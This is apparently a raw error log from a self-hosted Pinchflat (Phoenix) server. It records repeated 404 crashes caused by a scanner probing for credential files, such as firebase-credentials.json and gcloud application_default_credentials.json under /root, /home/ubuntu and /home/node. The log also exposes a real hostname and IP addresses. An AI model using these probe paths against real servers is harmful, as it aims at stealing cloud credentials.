:phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/firebase-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCAjmD07-SzcAA42B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9819.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47296}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9819.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47296}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9820.0>, params: %{}, path_info: ["firebase-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/firebase-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ { (truncated) 15:22:09.349 [info] GET /root/.config/gcloud/application_default_credentials.json 15:22:09.349 [debug] QUERY OK source="settings" db=0.1ms idle=715.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:09.349 [debug] QUERY OK source="settings" db=0.0ms idle=476.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:09.349 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:09.350 [error] #PID<0.9822.0> running PinchflatWeb.Endpoint (connection #PID<0.9821.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /root/.config/gcloud/application_default_credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.config/gcloud/application_default_credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9821.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/gcloud/application_default_credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47304}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9822.0>, params: %{}, path_info: ["root", ".config", "gcloud", "application_default_credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.config/gcloud/application_default_credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCBchGJToGl8AAd1C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9821.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/gcloud/application_default_credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47304}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.config/gcloud/application_default_credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9821.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/gcloud/application_default_credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47304}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9822.0>, params: %{}, path_info: ["root", ".config", "gcloud", "application_default_credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for" (truncated) 15:22:09.588 [info] GET /root/.config/gcloud/credentials.db 15:22:09.589 [debug] QUERY OK source="settings" db=0.1ms idle=478.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:09.589 [debug] QUERY OK source="settings" db=0.0ms idle=478.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:09.589 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:09.589 [error] #PID<0.9824.0> running PinchflatWeb.Endpoint (connection #PID<0.9823.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /root/.config/gcloud/credentials.db ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.config/gcloud/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9823.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/gcloud/credentials.db", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47316}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9824.0>, params: %{}, path_info: ["root", ".config", "gcloud", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.config/gcloud/credentials.db", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCCVqvn9m5QQAA43B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9823.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/gcloud/credentials.db", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47316}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.config/gcloud/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9823.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.config/gcloud/credentials.db", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47316}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9824.0>, params: %{}, path_info: ["root", ".config", "gcloud", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.config/gc (truncated) 15:22:09.821 [info] GET /home/ubuntu/.config/gcloud/application_default_credentials.json 15:22:09.821 [debug] QUERY OK source="settings" db=0.1ms idle=472.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:09.822 [debug] QUERY OK source="settings" db=0.0ms idle=472.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:09.822 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:09.822 [error] #PID<0.9826.0> running PinchflatWeb.Endpoint (connection #PID<0.9825.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /home/ubuntu/.config/gcloud/application_default_credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.config/gcloud/application_default_credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9825.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.config/gcloud/application_default_credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47322}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9826.0>, params: %{}, path_info: ["home", "ubuntu", ".config", "gcloud", "application_default_credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ubuntu/.config/gcloud/application_default_credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCDNJSBesBR8AAd2C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9825.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.config/gcloud/application_default_credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47322}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.config/gcloud/application_default_credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9825.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.config/gcloud/application_default_credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47322}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9826.0>, params: %{}, path_info: ["home", "ubuntu", ".config", "gcloud", "application_default_credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://s (truncated) 15:22:10.059 [info] GET /home/node/.config/gcloud/application_default_credentials.json 15:22:10.059 [debug] QUERY OK source="settings" db=0.1ms idle=530.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.059 [debug] QUERY OK source="settings" db=0.0ms idle=470.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.059 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:10.059 [error] #PID<0.9828.0> running PinchflatWeb.Endpoint (connection #PID<0.9827.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /home/node/.config/gcloud/application_default_credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/node/.config/gcloud/application_default_credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9827.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/node/.config/gcloud/application_default_credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55040}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 